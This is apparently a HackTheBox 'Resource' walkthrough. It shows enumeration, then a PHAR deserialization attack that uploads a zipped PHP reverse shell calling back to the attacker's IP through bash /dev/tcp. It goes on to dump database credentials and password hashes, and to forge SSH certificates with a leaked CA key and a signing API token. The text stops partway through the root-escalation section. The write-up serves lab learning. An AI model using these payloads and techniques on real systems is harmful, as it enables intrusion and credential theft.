Resource – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Synopsis Link to heading
“Resource” is a Hard machine from HackTheBox
platform. It teaches us how to perform a Phar
Deserialization Attack
to remotely execute commands. Additionally, this machine mainly teaches us how to play with signatures to generate SSH
keys and obtain access to different users generating certificates for SSH
.
User Link to heading
Starting with Nmap
scan shows 3 ports open: 22
SSH
, 80
HTTP
and 2222
another SSH
service:
❯ sudo nmap -sVC -p22,80,2222 10.10.11.27 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 05:24 -03
Nmap scan report for 10.10.11.27
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds
From the scan output we can see a domain itrc.ssg.htb
. We then add this domain to our /etc/hosts
file:
❯ echo '10.10.11.27 itrc.ssg.htb' | sudo tee -a /etc/hosts
Once added this domain, we can visit http://itrc.ssg.htb
. We can see an IT
webpage for a company called Strategic Solutions Group (SSG)
:
At the top-right side we can see that we can register a user. Registering a simple user and log into the panel shows a site where we can send tickets:
Clicking on New Ticket
we see that we can generate a ticket. We can add a subject, some text explaining the issue and attach only zip
files. I will create a new ticket with a random zip
file:
We can see that our ticket has been created:
Clicking in our ticket shows the uploaded zip
file. If I put my mouse over the uploaded zip
filename, it points to:
http://itrc.ssg.htb/uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip
The filename seems to be randomly generated.
Since we have a directory named /uploads
I will search for more directories through a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://itrc.ssg.htb -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://itrc.ssg.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home.php (Status: 200) [Size: 844]
/index.php (Status: 200) [Size: 3120]
/login.php (Status: 200) [Size: 433]
/register.php (Status: 200) [Size: 566]
/uploads (Status: 301) [Size: 314] [--> http://itrc.ssg.htb/uploads/]
/admin.php (Status: 200) [Size: 46]
/assets (Status: 301) [Size: 313] [--> http://itrc.ssg.htb/assets/]
/db.php (Status: 200) [Size: 0]
/api (Status: 301) [Size: 310] [--> http://itrc.ssg.htb/api/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/dashboard.php (Status: 200) [Size: 46]
/ticket.php (Status: 200) [Size: 46]
/loggedin.php (Status: 200) [Size: 46]
/server-status (Status: 403) [Size: 277]
We can see /uploads
directory. I can also see an /admin.php
directory. Visiting it just redirects to to the main portal. So we might need a valid session/cookie to enter in it.
One interesting thing about this site that calls my attention is that it uses /?page
to send us to different pages in the site. For example, if we want to register it uses the parameter ?page=register
; if we want to login it uses ?page=login
; if we are logged in it sets ?page=dashboard
; and if we want to create a new ticket it redirects to ?page=create_ticket
. What this means is that, maybe, at backend level there page
parameter is calling a file login.php
, register.php
, dashboard.php
and create_ticket.php
. Based on Gobuster
output, many of these PHP
files being called by ?page
exist, so it might be the case. Therefore, we might be able to reach the uploaded file through this parameter. For example:
http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip
Now, visiting this site in a terminal with cURL
returns a false positive:
❯ curl -s -I 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 26 Sep 2024 09:07:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Set-Cookie: PHPSESSID=e8614a61a1c70528469131efa9ba90bf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Since it only redirects to the main webpage:
❯ curl -s 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IT Support Center</title>
<SNIP>
I then decide to use ffuf
to see if this parameter is vulnerable to a simple Path Traversal
. Since this will always redirect to the main webpage (or dashboard if we are logged in), we can use the size of the response to filter the responses. We can check if ?page
parameter is vulnerable to this kind of attack. For this I will use this Path Traversal dictionary from wfuzz. We will also grab my cookie/session from the main webpage:
❯ ffuf -u 'http://itrc.ssg.htb/?page=FUZZ' -w ./Traversal.txt -H "Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb" -c -fs 3985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://itrc.ssg.htb/?page=FUZZ
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Medium/Resource/content/Traversal.txt
:: Header : Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 3985
________________________________________________
:: Progress: [68/68] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 2 ::
But got no luck, so this parameter might not be vulnerable to a Path Traversal
. Or at least not for a simple one that allows us to read files.
After attempting some things, we could try a PHAR
Deserialization Attack
. We can use hints provided at HackTricks and this post that explains them. So we can attempt to upload a simple PHP
file that will send me a reverse shell. We will also encode the payload in base64
. We create a simple webshell and compress it into a .zip
file:
❯ echo 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' | base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo=%
❯ echo '<?shell_exec(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo="));?>' > shell.php
❯ zip -r shell.zip shell.php
updating: shell.php (deflated 8%)
Here, 10.10.16.5
is our attacker IP address and 443
the port we will start listening with netcat
.
Create a new ticket and upload shell.zip
file. Visit the new generated ticket and extract the generated link. In my case the new link to the image is:
http://itrc.ssg.htb/uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
Start a listener with netcat
on port 443
. Now, based on the Phar
Deserialization Attack
we can attempt to visit:
curl -s 'http://itrc.ssg.htb/?page=phar://<Path uploaded file>'
In my case, what worked was:
❯ curl -s 'http://itrc.ssg.htb/?page=phar://uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip/shell'
and in our listener we get a shell as www-data
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.27] 50692
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ whoami
whoami
www-data
In the current directory we have, as we have seen before, many PHP
files:
www-data@itrc:/var/www/itrc$ ls -la
total 108
drwxr-xr-x 1 www-data www-data 4096 Feb 19 2024 .
drwxr-xr-x 1 www-data www-data 4096 Aug 13 11:13 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24 2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26 2024 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22 2024 assets
-rw-rw-r-- 1 www-data www-data 979 Jan 23 2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data 344 Jan 24 2024 dashboard.php
-rw-rw-r-- 1 www-data www-data 308 Jan 22 2024 db.php
-rw-rw-r-- 1 www-data www-data 746 Jan 24 2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data 982 Jan 24 2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24 2024 header.inc.php
-rw-rw-r-- 1 www-data www-data 844 Jan 22 2024 home.php
-rw-rw-r-- 1 www-data www-data 368 Feb 19 2024 index.php
-rw-rw-r-- 1 www-data www-data 105 Feb 19 2024 loggedin.php
-rw-rw-r-- 1 www-data www-data 433 Jan 23 2024 login.php
-rw-rw-r-- 1 www-data www-data 73 Jan 22 2024 logout.php
-rw-rw-r-- 1 www-data www-data 566 Jan 23 2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb 6 2024 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4968 Feb 6 2024 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24 2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Sep 26 09:52 uploads
Reading db.php
shows something:
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
Credentials for a database.
We are not able to see running processes/open ports to check if MySQL
is running on the machine:
www-data@itrc:/var/www/itrc$ netstat -nltp | grep 3306
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
However, if we try to connect to this database with these credentials we find through MySQL
, and to the hostname db
:
www-data@itrc:/var/www/itrc$ mysql -u jj -pugEG5rR5SG8uPd -h db
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 171
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Here, we are able to find a database named resourcecenter
, with a table named users
. If we check what we have in this table:
MariaDB [resourcecenter]> select * from users;
+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user | password | role | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
| 1 | zzinter | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL |
| 2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL |
| 3 | mgraham | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user | NULL |
| 4 | kgrant | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user | NULL |
| 5 | bmcgregor | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user | NULL |
| 9 | gunzf0x | $2y$10$gop2S/9QO9IWrfGFCUmYLOoyU8ulK36UGS.RKXpcNDj04xilpwPhe | user | NULL |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.001 sec)
We have many hashes.
Checking /home
directory in the target machine shows 2 users:
www-data@itrc:/var/www/itrc$ ls -la /home
total 20
drwxr-xr-x 1 root root 4096 Aug 13 11:13 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
drwx------ 1 zzinter zzinter 4096 Sep 26 08:27 zzinter
These users are the first 2 users in MySQL
database. I will grab their password hashes and save them into a file.
We attempt to crack them through a Brute Force Password Cracking
but took too much time so I assume this is not the right way.
Going back to the files we can check the /uploads
directory. We can see that we have multiple .zip
files. Based on their creation date, some of them are older than expected:
www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1160
drwxrwxr-x 1 www-data www-data 4096 Sep 26 10:35 .
drwxr-xr-x 1 www-data www-data 4096 Feb 19 2024 ..
<SNIP>
-rw-r--r-- 1 www-data www-data 211 Sep 26 10:35 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb 6 2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data 634 Feb 6 2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data 275 Feb 6 2024 eb65074fe37671509f24d1652a44944be61e4360.zip
<SNIP>
If we decompress all of them with a simple Bash
oneliner we can see:
www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do unzip $file; done
<SNIP>
Archive: 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
inflating: shell.php
Archive: c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: itrc.ssg.htb.har
Archive: e8c6575573384aeeab4d093cc99c7e5927614185.zip
inflating: id_rsa.pub
Archive: eb65074fe37671509f24d1652a44944be61e4360.zip
inflating: id_ed25519.pub
We have some public keys. We also have a .har
file.
HTTP
Archive format, or HAR
, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site.So I assume this is a kind of JSON
file. Reading it shows a ton of data.
Since the decompressed file is in /upload
directory, which we have access, I will try to visualize it using cURL
. After applying some filters we get what seems to be a password:
❯ curl -s 'http://itrc.ssg.htb/uploads/itrc.ssg.htb.har' | jq | grep -vE 'port-fill|Transitioning' | grep 'pass' -A 2
"text": "user=msainristil&pass=82yards2closeit",
"params": [
{
--
"name": "pass",
"value": "82yards2closeit"
}
We have credentials: msainristil:82yards2closeit
.
Just as a parenthesis, I check if this password was present on rockyou.txt
dictionary so we could have also found this password with JohnTheRipper
and the passwords found in the MySQL
database:
❯ grep -n '^82yards2closeit$' /usr/share/wordlists/rockyou.txt
but it’s not.
Back from the parenthesis, we check if we can log in as this user with this password with SSH
using NetExec
:
❯ netexec ssh 10.10.11.27 -u 'msainristil' -p '82yards2closeit'
SSH 10.10.11.27 22 10.10.11.27 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH 10.10.11.27 22 10.10.11.27 [+] msainristil:82yards2closeit (non root) Linux - Shell access!
and we can.
We then connect via SSH
:
❯ sshpass -p '82yards2closeit' ssh -o stricthostkeychecking=no msainristil@10.10.11.27
<SNIP>
msainristil@itrc:~$ whoami
msainristil
but the user flag is not here. That is a surprise since it’s been a long way to here.
Also, we note we are not in the victim machine itself; we are inside a Docker
container:
msainristil@itrc:~/decommission_old_ca$ hostname -I
172.223.0.3
msainristil@itrc:~$ ls -la / | grep docker
-rwxr-xr-x 1 root root 0 Aug 13 11:13 .dockerenv
If we check what files we have available at this user’s /home
directory we find:
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil 807 Mar 29 19:40 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 decommission_old_ca
Checking decomission_old_ca
directory:
msainristil@itrc:~$ ls -la decommission_old_ca/
total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
and if we check what are these files, they are SSH
keys (private and public key, respectively):
msainristil@itrc:~$ file decommission_old_ca/ca-itrc
decommission_old_ca/ca-itrc: OpenSSH private key
msainristil@itrc:~$ file decommission_old_ca/ca-itrc.pub
decommission_old_ca/ca-itrc.pub: OpenSSH RSA public key
After some research, I find this StackOverflow post that explains how to sign and authorize keys when we do have certificates. First, we generate a key:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:LFe6zqE+rqvaSEMcP8TiPQJom/1j5MLgXlpOkD7LDZk msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
| |
|. . |
|o+ o . |
|= @ . o |
| @ * .. S |
|+ B * o . |
| E * = o |
|+o% o o+ . |
|o*o+o=+.o |
+----[SHA256]-----+
and sign it:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -n zzinter -I anythinghere keypair.pub
Signed user key keypair-cert.pub: id "anythinghere" serial 0 for zzinter valid forever
Here, -s
stays for the signer and -n
for the target user.
This generate 3 files:
msainristil@itrc:~/decommission_old_ca$ ls -la
total 32
drwxr-xr-x 1 msainristil msainristil 4096 Sep 26 11:08 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
-rw------- 1 msainristil msainristil 1823 Sep 26 11:08 keypair
-rw-r--r-- 1 msainristil msainristil 1855 Sep 26 11:08 keypair-cert.pub
-rw-r--r-- 1 msainristil msainristil 398 Sep 26 11:08 keypair.pub
Finally, just pass all these files through, for example, scp
:
❯ sshpass -p '82yards2closeit' scp 'msainristil@10.10.11.27:~/decommission_old_ca/keypair*' ./
❯ ls -la
total 36
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 26 08:13 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 26 05:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 142 Sep 26 07:15 hashes_found
-rw------- 1 gunzf0x gunzf0x 1823 Sep 26 08:13 keypair
-rw-r--r-- 1 gunzf0x gunzf0x 1855 Sep 26 08:13 keypair-cert.pub
-rw-r--r-- 1 gunzf0x gunzf0x 398 Sep 26 08:13 keypair.pub
-rw-rw-r-- 1 gunzf0x gunzf0x 5 Sep 26 05:36 test.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 171 Sep 26 05:36 test.zip
-rw-rw-r-- 1 gunzf0x gunzf0x 3388 Sep 26 06:24 Traversal.txt
We can then use this file to log through SSH
as zzinter
user:
❯ ssh -i keypair zzinter@10.10.11.27
<SNIP>
zzinter@itrc:~$ whoami
zzinter
We can finally read the user’s flag at this user’s /home
directory.
Root Link to heading
If we check what files we have as this new user, we can see:
zzinter@itrc:~$ ls -la
total 32
drwx------ 1 zzinter zzinter 4096 Sep 27 00:47 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root root 1193 Feb 19 2024 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Sep 27 00:42 user.txt
There is a Bash
script called sign_key_api.sh
. Reading it returns:
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
This script takes a public key, a user, and a list of supported actions/principals. After checking that the arguments are valid, it sends a public key along with the username and principals to a remote domain signserv.ssg.htb
via a POST
request using a Bearer
token.
At this point we note some things:
- We are still inside a container:
zzinter@itrc:~$ hostname -I
172.223.0.3
- The script owner is
root
, so it could be, similar as we did the intrusion forzzinter
user, a script signing keys for this user. - The script is calling a subdomain
signserv.ssg.htb
. We add this new subdomain to our/etc/hosts
file, so it now looks like:
❯ tail -n 1 /etc/hosts
10.10.11.27 itrc.ssg.htb signserv.ssg.htb
- From
Nmap
scan, we rememberSSH
service was running in 2 different ports:22
and2222
. Maybe22
is running in theDocker
container and2222
is running in the real victim machine. We are not able to run the script in the victim machine:
zzinter@itrc:~$ ./sign_key_api.sh
-bash: ./sign_key_api.sh: Permission denied
so we grab this script to our attacker machine.
Once downloaded into our attacker machine, we assign to this script execution permissions (running chmod +x ./sign_key_api.sh
) and now we are able to execute it:
❯ ./sign_key_api.sh
Usage: ./sign_key_api.sh <public_key_file> <username> <principal>
We need some public files. If we search for .pub
files into the container with find
command, we have:
zzinter@itrc:/var/www/itrc/uploads$ find / -name "*.pub" -type f 2>/dev/null
/var/www/itrc/uploads/id_ed25519.pub
/var/www/itrc/uploads/id_rsa.pub
/etc/ssh/ssh_host_ed25519_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ca_users_keys.pub
/etc/ssh/ssh_host_ed25519_key-cert.pub
/etc/ssh/ssh_host_ecdsa_key-cert.pub
/etc/ssh/ssh_host_rsa_key-cert.pub
There is a directory /etc/ssh
directory that contain many of these files. But they are not useful at the moment.
Back to the Bash
script, server_principals
are kind of valid roles that are allowed to be associated with a user as is explained here. We have 4 valid roles then: webserver
, analytics
, support
and security
. We then attempt to create certificates for each roll with a oneliner:
❯ for role in {webserver,analytics,support,security}; do SAVE_FILE="$(echo -n $role)_cert.cert"; ./sign_key_api.sh keypair.pub $role $role > $SAVE_FILE ; done
❯ ls -la *.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 analytics_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 security_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 947 Sep 26 23:02 support_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 webserver_cert.cert
One of the connection works for the user support
using one of the generated certificates for SSH
:
❯ ssh -o CertificateFile=support_cert.cert -i keypair support@10.10.11.27 -p 2222
<SNIP>
support@ssg:~$ whoami
support
support@ssg:~$ hostname -I
10.10.11.27 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:feb0:ef63
We are now inside the victim machine, not a container.
If we search info about SSH
Principals
, we find this post explaining them. There, they say we should look at /etc/ssh
directory. Doing this we find:
support@ssg:~$ ls -la /etc/ssh
total 604
drwxr-xr-x 5 root root 4096 Jul 24 12:24 .
drwxr-xr-x 100 root root 4096 Jul 30 08:45 ..
drwxr-xr-x 2 root root 4096 Feb 8 2024 auth_principals
-rw------- 1 root root 399 Feb 8 2024 ca-analytics
-rw-r--r-- 1 root root 94 Feb 8 2024 ca-analytics.pub
-rw------- 1 root root 432 Feb 8 2024 ca-it
<SNIP>
There an auth_principals
directory.
Inside this directory we have 3 files:
support@ssg:~$ ls -la /etc/ssh/auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb 8 2024 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root 10 Feb 8 2024 root
-rw-r--r-- 1 root root 18 Feb 8 2024 support
-rw-r--r-- 1 root root 13 Feb 8 2024 zzinter
Each one of them defines a “principal”/role:
support@ssg:/etc/ssh/auth_principals$ cat root
root_user
support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user
support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp
2 of them are new (that were not present in sign_key_api.sh
): root_user
and zzinter_temp
.
We can add these roles to sign_key_api.sh
script in the downloaded copy in our attacker machine, so now the line defining supported_principals
variable looks like:
supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"
Now, similar as we generated the certificate for support
user, let’s generate a certificate for root_user
and zzinter_temp
principals/roles. If we create a key for the user zzinter
this works:
❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgRteQFNaHuwyFZf33CdsOPun86XIsrWsfvanZQopESggAAAADAQABAAABAQDqHzS0A+IyAeoRcZLmuYjLkMzQ+ssOXlx4UDqZQvmCjk+IKw8Uy72hm8yheyjybwrg+fu8UD6ITh/H/MfU9dPnhmXwcl2rGcnx9Ul33QhDoS5ft3mzimutiMMyrxN+UrXl404cTS6rRHx86ttfLGnHQfMoLRwoAFjSxRxV1VpMXoxb3BzxPt8EpwydnyxKF2XkP8kqILI2xu8/GJ4zKZ86aOIc7BoecnxOLVTfoDHn8XT1+VSsg0aObSl5tGDRBEO2zCOGXy5j45Bac+QBINbxLeiknelMuixpa85MvticksW29bqRNIFPoUaSxPTNUFi5nHsKjX6REjEYm/hUasqFAAAAAAAAADAAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm7N2o//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABA+zLmTbZFF3+EnMvo+g+NtfbGIa8sHHMpTsyONGex31o+rb02Ly5YlOuefj8Kbo+8vRTo9DljG5oSwjtcjTh/DA== msainristil@itrc
❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp > zzinter_cert.cert
But if we attempt to do this to root
user, it fails:
❯ ./sign_key_api_modified.sh keypair.pub root root_user
{"detail":"Root access must be granted manually. See the IT admin staff."}
zzinter
user exists on the victim machine (besides the container):
support@ssg:/etc/ssh/auth_principals$ ls /home
support zzinter
So we can attempt to log in as zzinter
user with the generated certificate:
❯ ssh -o CertificateFile=zzinter_cert.cert -i keypair zzinter@10.10.11.27 -p 2222
<SNIP>
zzinter@ssg:~$ whoami
zzinter
This user, in the original victim machine, is allowed to run a Bash
script with sudo
as root
user without providing a password:
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Reading the script:
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! ` $serial =~ ^[0-9]+$ `; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
This script, as the previous one did, checks that the inputs are valid. It checks if the certificate file is equal to the content of /etc/ssh/ca-it
